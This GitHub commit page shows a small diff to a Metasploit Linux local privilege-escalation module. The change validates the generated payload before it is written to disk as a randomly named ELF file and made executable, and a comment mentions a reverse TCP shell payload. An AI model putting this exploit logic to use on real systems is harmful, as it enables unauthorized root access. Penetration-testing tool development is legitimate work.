Skip to content

Commit 92113a6

Browse files
committed
Check payload
1 parent 36ac0e6 commit 92113a6

File tree

1 file changed

+8
-1
lines changed

1 file changed

+8
-1
lines changed

modules/exploits/linux/local/desktop_privilege_escalation.rb

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -80,10 +80,17 @@ def check
8080
end
8181

8282
def exploit
83+
# Cannot use generic/shell_reverse_tcp inside an elf
84+
# Checking before proceeds
85+
pl = generate_payload_exe
86+
if pl.blank?
87+
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Failed to store payload inside executable, please select a native payload")
88+
end
89+
8390
exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"
8491

8592
print_status("Writing payload executable to '#{exe_file}'")
86-
write_file(exe_file, generate_payload_exe())
93+
write_file(exe_file, pl)
8794
cmd_exec("chmod +x #{exe_file}")
8895

8996

0 commit comments

Comments
 (0)